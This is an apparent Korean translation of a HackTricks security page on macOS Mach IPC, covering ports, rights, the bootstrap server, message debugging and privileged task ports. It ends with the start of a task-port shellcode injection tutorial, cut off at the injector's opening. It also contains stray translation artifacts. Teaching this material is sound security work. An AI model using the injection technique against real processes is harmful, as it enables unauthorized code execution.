macOS IPC - Inter Process Communication

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Mach 메시징을 통한 포트

기본 정보

Mach는 작업리소스 공유의 가장 작은 단위로 사용하며, 각 작업에는 여러 스레드가 포함될 수 있습니다. 이러한 작업 및 스레드는 1:1로 POSIX 프로세스 및 스레드에 매핑됩니다.

작업 간 통신은 Mach Inter-Process Communication (IPC)을 통해 발생하며, 메시지는 포트 간에 전송되며, 이는 커널에서 관리되는 메시지 큐처럼 작동합니다.

포트는 Mach IPC의 기본 요소입니다. 메시지를 보내고 받는 데 사용할 수 있습니다.

각 프로세스에는 IPC 테이블이 있으며, 거기에는 프로세스의 mach 포트를 찾을 수 있습니다. Mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다.

프로세스는 또한 다른 작업에게 일부 권한을 가진 포트 이름을 보낼 수 있으며, 커널은 이를 다른 작업의 IPC 테이블에 등록합니다.

포트 권한

작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 포트 권한은 (여기에서 정의됨):

  • 수신 권한은 포트로 보낸 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 하나의 수신 권한만 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 기술자를 모두 보유할 수 있는 파이프와는 달리).

  • 수신 권한을 가진 작업은 메시지를 수신하고 보내기 권한을 생성할 수 있으며, 처음에는 자체 작업만 수신 권한을 가집니다.

  • 수신 권한의 소유자가 죽거나 종료하면 보내기 권한이 쓸모 없어집니다(데드 네임).

  • 보내기 권한은 포트로 메시지를 보낼 수 있게 합니다.

  • 보내기 권한은 복제될 수 있어서 보내기 권한을 소유한 작업이 권한을 복제하고 제3의 작업에게 부여할 수 있습니다.

  • 포트 권한은 Mac 메시지를 통해 전달될 수도 있습니다.

  • 한 번 보내기 권한은 포트로 한 번의 메시지를 보낼 수 있고 그 후 사라집니다.

  • 이 권한은 복제될 수 없지만 이동될 수 있습니다.

  • 포트 세트 권한은 단일 포트가 아닌 _포트 세트_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 그 포트가 포함하는 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 select/poll/epoll/kqueue와 매우 유사하게 여러 포트에서 동시에 수신할 수 있습니다.

  • 데드 네임은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변합니다.

작업은 다른 작업에게 보내기 권한을 전달하여 메시지를 다시 보낼 수 있습니다. 보내기 권한은 복제될 수 있어서 작업이 권한을 복제하고 제3의 작업에게 권한을 부여할 수 있습니다. 이는 부트스트랩 서버라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능케 합니다.

파일 포트

파일 포트는 Mac 포트(맥 포트 권한 사용)에 파일 기술자를 캡슐화할 수 있습니다. 주어진 FD를 사용하여 fileport_makeport를 사용하여 fileport를 만들고 fileport_makefd를 사용하여 fileport에서 FD를 만들 수 있습니다.

통신 설정

이전에 언급했듯이 Mach 메시지를 사용하여 권한을 보낼 수 있지만, 이미 Mach 메시지를 보낼 권한이 없는 경우 권한을 보낼 수 없습니다. 그렇다면 첫 번째 통신은 어떻게 설정됩니까?

이를 위해 부트스트랩 서버(mac의 launchd)가 관여되며, 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있으므로, 다른 프로세스에게 메시지를 보낼 권한을 요청할 수 있습니다:

  1. 작업 A새 포트를 생성하여 그것에 대한 수신 권한을 얻습니다.

  2. 수신 권한의 소유자인 작업 A포트에 대한 보내기 권한을 생성합니다.

  3. 작업 A부트스트랩 서버연결을 설정하고, 처음에 생성한 포트에 대한 보내기 권한을 부트스트랩 서버에 보냅니다.

  • 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있습니다.

  1. 작업 A는 부트스트랩 서버에 bootstrap_register 메시지를 보내 주어진 포트를 com.apple.taska와 같은 이름과 연결합니다.

  2. 작업 B는 서비스 이름에 대한 부트스트랩 룩업을 실행하기 위해 부트스트랩 서버와 상호 작용합니다(bootstrap_lookup). 따라서 부트스트랩 서버가 응답하려면 작업 B는 룩업 메시지 내에서 이전에 생성한 포트에 대한 SEND 권한을 부트스트랩 서버에 보냅니다. 룩업이 성공하면 부트스트랩 서버는 작업 A로부터 받은 SEND 권한을 복제하고 작업 B에게 전송합니다.

  • 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있습니다.

  1. 이 SEND 권한으로 작업 B작업 A에게 메시지를 보낼 수 있습니다.

  2. 양방향 통신을 위해 일반적으로 작업 B수신 권한과 보내기 권한이 있는 새 포트를 생성하고 보내기 권한을 작업 A에게 제공하여 작업 B에게 메시지를 보낼 수 있게 합니다.

부트스트랩 서버는 작업이 주장한 서비스 이름을 인증할 수 없습니다. 이는 작업이 잠재적으로 시스템 작업을 가장할 수 있음을 의미합니다. 즉, 권한 서비스 이름을 가장하고 모든 요청을 승인할 수 있습니다.

그런 다음, Apple은 시스템 제공 서비스의 이름을 안전한 구성 파일에 저장합니다. 이 파일은 SIP로 보호된 디렉토리인 /System/Library/LaunchDaemons/System/Library/LaunchAgents에 있습니다. 각 서비스 이름 옆에는 관련된 이진 파일도 저장됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 수신 권한을 생성하고 보유합니다.

이러한 사전 정의된 서비스의 경우 룩업 프로세스가 약간 다릅니다. 서비스 이름을 찾을 때, launchd는 작업이 실행 중인지 확인하고 실행 중이 아니면 시작합니다.

그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명한 대로 작동하며, 가장할 수 있는 가능성이 있습니다.

따라서 launchd가 절대로 충돌해서는 안 되며, 그렇게 되면 전체 시스템이 충돌합니다.

Mach 메시지

더 많은 정보는 여기에서 찾을 수 있습니다

mach_msg 함수는 본질적으로 시스템 호출로, Mach 메시지를 보내고 받을 때 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 반드시 mach_msg_header_t 구조체로 시작해야 합니다. 그 뒤에 실제 메시지 내용이 이어집니다. 이 구조체는 다음과 같이 정의됩니다:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

프로세스가 _수신 권한을 보유하면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 보내는 쪽(sender)은 _송신 권한 또는 _일회용 송신 권한_을 부여받습니다. 일회용 송신 권한은 한 번의 메시지를 보낸 후에 무효화됩니다.

초기 필드 **msgh_bits**는 비트맵입니다:

  • 첫 번째 비트(가장 중요함)는 메시지가 복잡함을 나타내는 데 사용됩니다(자세한 내용은 아래 참조)

  • 3번째와 4번째는 커널에서 사용됩니다

  • 두 번째 바이트의 가장 낮은 5비트는 **바우처(voucher)**에 사용될 수 있습니다: 키/값 조합을 보내는 또 다른 유형의 포트입니다.

  • 세 번째 바이트의 가장 낮은 5비트로컬 포트에 사용될 수 있습니다.

  • 네 번째 바이트의 가장 낮은 5비트원격 포트에 사용될 수 있습니다.

바우처, 로컬 및 원격 포트에 지정할 수 있는 유형은 다음과 같습니다(mach/message.h 참조):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

예를 들어, MACH_MSG_TYPE_MAKE_SEND_ONCE는 이 포트를 위해 파생 및 전송되어야 하는 한 번만 보내기 권한을 나타내는 데 사용될 수 있습니다. 또한 수신자가 응답을 보낼 수 없도록 하려면 MACH_PORT_NULL을 지정할 수 있습니다.

쉬운 양방향 통신을 위해 프로세스는 메시지의 수신자가 이 메시지에 대한 응답을 보낼 수 있는 응답 포트(msgh_local_port)를 mach 메시지 헤더에 지정할 수 있습니다.

이러한 종류의 양방향 통신은 XPC 메시지에서 사용되며 응답을 기대하는 메시지(xpc_connection_send_message_with_replyxpc_connection_send_message_with_reply_sync)에 사용됩니다. 그러나 일반적으로 양방향 통신을 생성하려면 이전에 설명한 대로 일반적으로 다른 포트가 생성됩니다.

메시지 헤더의 다른 필드는 다음과 같습니다:

  • msgh_size: 전체 패킷의 크기.

  • msgh_remote_port: 이 메시지가 전송된 포트.

  • msgh_voucher_port: mach 바우처.

  • msgh_id: 수신자가 해석하는 이 메시지의 ID.

mach 메시지는 mach 포트를 통해 전송되며, 이는 mach 커널에 내장된 단일 수신자, 다중 송신자 통신 채널입니다. 여러 프로세스가 mach 포트로 메시지를 보낼 수 있지만 언제든지 단일 프로세스만 읽을 수 있습니다.

그런 다음 메시지는 mach_msg_header_t 헤더, 바디트레일러(있는 경우)로 구성되며 응답 권한을 부여할 수 있습니다. 이러한 경우에는 커널이 메시지를 한 작업에서 다른 작업으로 전달하기만 하면 됩니다.

트레일러커널에 의해 메시지에 추가된 정보로 (사용자가 설정할 수 없음) 메시지 수신 시 MACH_RCV_TRAILER_<trailer_opt> 플래그로 요청할 수 있으며 요청할 수 있는 다양한 정보가 있습니다.

복잡한 메시지

그러나 커널이 수신자에게 이러한 객체를 전송해야 하는 추가 포트 권한이나 메모리 공유와 같은 더 복잡한 메시지도 있습니다. 이러한 경우에는 헤더 msgh_bits의 가장 상위 비트가 설정됩니다.

전달할 수 있는 가능한 디스크립터는 mach/message.h에서 정의됩니다.

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

32비트에서는 모든 디스크립터가 12B이며 디스크립터 유형은 11번째에 있습니다. 64비트에서는 크기가 다양합니다.

커널은 다른 작업으로 디스크립터를 복사하지만 먼저 커널 메모리에 복사본을 생성합니다. 이 "펑 수이" 기술은 여러 악용으로 알려져 있으며 커널이 데이터를 메모리에 복사하여 프로세스가 자신에게 디스크립터를 보낼 수 있게 합니다. 그런 다음 프로세스는 메시지를 수신할 수 있습니다 (커널이 이를 해제합니다).

취약한 프로세스로 포트 권한을 보낼 수도 있으며 포트 권한은 프로세스에 나타날 것입니다 (그가 처리하지 않더라도).

Mac Ports API

포트는 작업 네임스페이스에 연결되므로 포트를 생성하거나 검색하려면 작업 네임스페이스도 쿼리됩니다 (mach/mach_port.h에서 자세히 설명):

  • mach_port_allocate | mach_port_construct: 포트를 생성합니다.

  • mach_port_allocate포트 세트를 생성할 수도 있습니다: 포트 그룹에 대한 수신 권한. 메시지를 수신할 때 어디서 메시지가 왔는지 표시됩니다.

  • mach_port_allocate_name: 포트의 이름을 변경합니다 (기본적으로 32비트 정수)

  • mach_port_names: 대상에서 포트 이름 가져오기

  • mach_port_type: 이름에 대한 작업의 권한 가져오기

  • mach_port_rename: 포트의 이름 바꾸기 (FD의 dup2와 유사)

  • mach_port_allocate: 새로운 RECEIVE, PORT_SET 또는 DEAD_NAME 할당

  • mach_port_insert_right: 수신할 수 있는 포트에 새 권한 생성

  • mach_port_...

  • mach_msg | mach_msg_overwrite: mach 메시지를 보내고 받는 데 사용되는 함수입니다. 덮어쓰기 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있게 합니다 (다른 버전은 그냥 재사용합니다).

디버그 mach_msg

함수 **mach_msg**와 **mach_msg_overwrite**는 메시지를 보내고 받는 데 사용되는 함수이므로 이러한 함수에 중단점을 설정하면 보낸 메시지와 받은 메시지를 검사할 수 있습니다.

예를 들어 디버깅할 수 있는 모든 응용 프로그램을 시작하면 libSystem.B를 로드할 것이므로 이 함수를 사용할 것입니다.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

**mach_msg**의 인수를 얻으려면 레지스터를 확인하십시오. 이것이 인수들입니다 (mach/message.h 참조):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

레지스트리에서 값을 가져옵니다:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

첫 번째 인수를 확인하여 메시지 헤더를 검사하십시오.

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

그 유형의 mach_msg_bits_t는 응답을 허용하기 위해 매우 일반적입니다.

포트 열거하기

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

이름은 포트에 기본적으로 지정된 이름입니다 (첫 3바이트에서 증가하는 방법을 확인하십시오). **ipc-object**는 포트의 가려진 고유 식별자입니다. 또한 send 권한만 있는 포트는 해당 포트의 소유자를 식별하는 데 사용됩니다 (포트 이름 + pid). 또한 **+**를 사용하여 동일한 포트에 연결된 다른 작업을 나타낼 수 있습니다.

또한 procesxp를 사용하여 등록된 서비스 이름도 볼 수 있습니다 (SIP가 비활성화되어 있어 com.apple.system-task-port가 필요한 경우):

procesp 1 ports

코드 예시

sender가 포트를 할당하고 org.darlinghq.example라는 이름에 대한 send right를 생성하여 이를 부트스트랩 서버에 보내는 방법을 주목하십시오. 수신자는 해당 이름에 대한 send right를 요청하고 이를 사용하여 메시지를 보내는 방법을 사용했습니다.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

번역된 텍스트가 없습니다.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

특권 포트

일부 특별한 포트는 작업이 해당 포트에 대한 SEND 권한을 갖고 있는 경우 특정 민감한 작업을 수행하거나 특정 민감한 데이터에 액세스할 수 있도록 합니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로울 뿐만 아니라 작업 간에 SEND 권한을 공유할 수 있기 때문에 흥미롭습니다.

호스트 특별 포트

이러한 포트는 숫자로 표시됩니다.

SEND 권한은 **host_get_special_port**를 호출하여 얻을 수 있으며 RECEIVE 권한은 **host_set_special_port**를 호출하여 얻을 수 있습니다. 그러나 두 호출 모두 루트만 액세스할 수 있는 host_priv 포트가 필요합니다. 또한 과거에는 루트가 **host_set_special_port**를 호출하고 임의로 탈취할 수 있었으며, 예를 들어 HOST_KEXTD_PORT를 탈취하여 코드 서명을 우회할 수 있었습니다 (SIP가 이를 방지합니다).

이러한 포트는 2개의 그룹으로 나뉩니다: 첫 7개 포트는 커널이 소유하며 1은 HOST_PORT, 2는 HOST_PRIV_PORT, 3은 HOST_IO_MASTER_PORT이고 7은 HOST_MAX_SPECIAL_KERNEL_PORT입니다. 8부터 시작하는 포트는 시스템 데몬이 소유하며 host_special_ports.h에서 선언된 포트를 찾을 수 있습니다.

  • 호스트 포트: 프로세스가 이 포트에 대한 SEND 권한을 갖고 있다면 시스템에 대한 정보를 얻을 수 있으며 다음과 같은 루틴을 호출할 수 있습니다:

  • host_processor_info: 프로세서 정보 가져오기

  • host_info: 호스트 정보 가져오기

  • host_virtual_physical_table_info: 가상/물리 페이지 테이블 (MACH_VMDEBUG 필요)

  • host_statistics: 호스트 통계 가져오기

  • mach_memory_info: 커널 메모리 레이아웃 가져오기

  • 호스트 Priv 포트: 이 포트에 대한 SEND 권한을 갖고 있는 프로세스는 부팅 데이터 표시 또는 커널 익스텐션 로드 시도와 같은 특권 작업을 수행할 수 있습니다. 프로세스는 루트여야만 이 권한을 얻을 수 있습니다.

  • 또한 kext_request API를 호출하려면 다른 엔타이틀먼트 **com.apple.private.kext***가 필요하며 이는 Apple 이진 파일에만 제공됩니다.

  • 호출할 수 있는 다른 루틴은 다음과 같습니다:

  • host_get_boot_info: machine_boot_info() 가져오기

  • host_priv_statistics: 특권 통계 가져오기

  • vm_allocate_cpm: 연속 물리 메모리 할당

  • host_processors: 호스트 프로세서에 대한 권한 보내기

  • mach_vm_wire: 메모리 상주화

  • 루트가 이 권한에 액세스할 수 있기 때문에 host_set_[special/exception]_port[s]를 호출하여 호스트 특별 또는 예외 포트를 탈취할 수 있습니다.

모든 호스트 특별 포트를 볼 수 있습니다.

procexp all ports | grep "HSP"

작업 포트

원래 Mach에는 "프로세스"가 아니라 "작업"이 있었으며, 이는 스레드의 컨테이너처럼 간주되었습니다. Mach가 BSD와 병합될 때 각 작업은 BSD 프로세스와 관련되었습니다. 따라서 모든 BSD 프로세스는 프로세스로서 필요한 세부 정보를 가지고 있으며 모든 Mach 작업도 내부 작업을 가지고 있습니다 (단, 존재하지 않는 pid 0인 kernel_task 제외).

이와 관련된 두 가지 매우 흥미로운 함수가 있습니다:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): pid로 지정된 작업과 관련된 작업 포트에 대한 SEND 권한을 얻어 지정된 target_task_port에 제공합니다 (mach_task_self()를 사용한 호출자 작업인 경우가 일반적이지만 다른 작업의 SEND 포트일 수도 있음).

  • pid_for_task(task, &pid): 작업에 대한 SEND 권한이 있는 경우 해당 작업이 관련된 PID를 찾습니다.

작업 내에서 작업을 수행하려면 mach_task_self()를 호출하여 자체에 대한 SEND 권한이 필요했습니다 (task_self_trap (28)을 사용). 이 권한으로 작업은 다음과 같은 여러 작업을 수행할 수 있습니다:

  • task_threads: 작업의 스레드의 모든 작업 포트에 대한 SEND 권한 가져오기

  • task_info: 작업에 대한 정보 가져오기

  • task_suspend/resume: 작업 일시 중지 또는 재개

  • task_[get/set]_special_port

  • thread_create: 스레드 생성

  • task_[get/set]_state: 작업 상태 제어

  • 그리고 더 많은 것들은 mach/task.h에서 찾을 수 있습니다.

다른 작업의 작업 포트에 대한 SEND 권한이 있는 경우 다른 작업에서 이러한 작업을 수행할 수 있습니다.

게다가, 작업 포트는 또한 vm_map 포트이며 vm_read()vm_write()와 같은 함수를 사용하여 작업 내부의 메모리를 읽고 조작할 수 있습니다. 이는 기본적으로 다른 작업의 작업 포트에 대한 SEND 권한이 있는 작업이 해당 작업에 코드를 삽입할 수 있음을 의미합니다.

커널도 작업이기 때문에 누군가가 kernel_task에 대한 SEND 권한을 획들하면 커널을 실행할 수 있게 됩니다 (탈옥).

  • mach_task_self()를 호출하여 호출자 작업에 대한 이 포트의 이름을 가져옵니다. 이 포트는 exec()를 통해만 상속됩니다. fork()로 생성된 새 작업은 새 작업 포트를 받습니다 (exec() 이후 suid 이진 파일에서도 특별한 경우로 exec() 이후에도 작업은 새 작업 포트를 받습니다). 작업을 생성하고 해당 포트를 얻는 유일한 방법은 fork()를 수행하는 동안 "포트 스왑 댄스"를 수행하는 것입니다.

  • 이 포트에 액세스하는 제한 사항은 이진 파일 AppleMobileFileIntegritymacos_task_policy에서 다음과 같습니다:

  • 앱이 com.apple.security.get-task-allow 엔터티를 가지고 있으면 동일한 사용자의 프로세스가 작업 포트에 액세스할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). 인증 프로세스는 프로덕션 릴리스에서 허용하지 않습니다.

  • com.apple.system-task-ports 엔터티를 가진 앱은 커널을 제외한 모든 프로세스의 작업 포트를 얻을 수 있습니다. 이전 버전에서는 **task_for_pid-allow**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.

  • 루트는 하드닝된 런타임으로 컴파일되지 않은 앱의 작업 포트에 액세스할 수 있습니다 (Apple에서 제공되지 않음).

작업 이름 포트: _작업 포트_의 권한이 없는 버전입니다. 작업을 참조하지만 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 task_info()인 것으로 보입니다.

작업 포트를 통한 스레드 내 셸코드 삽입

다음에서 셸코드를 가져올 수 있습니다:

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

entitlements.plist

Description

The entitlements.plist file contains a list of entitlements that the application has been granted. These entitlements define the capabilities and permissions that the application has on the system.

Impact

If an attacker is able to modify the entitlements.plist file of a vulnerable application, they may be able to escalate privileges or perform unauthorized actions on the system.

Detection

Monitor changes to the entitlements.plist file and verify its integrity regularly to detect any unauthorized modifications.

Mitigation

Ensure that the entitlements.plist file is securely stored and protected from unauthorized access. Implement proper file permissions and access controls to prevent unauthorized modifications. Regularly audit the entitlements granted to applications to ensure they are necessary and appropriate.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

이전 프로그램을 컴파일하고 동일한 사용자로 코드를 주입할 수 있도록 엔타이틀먼트를 추가하십시오 (그렇지 않으면 sudo를 사용해야 합니다).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

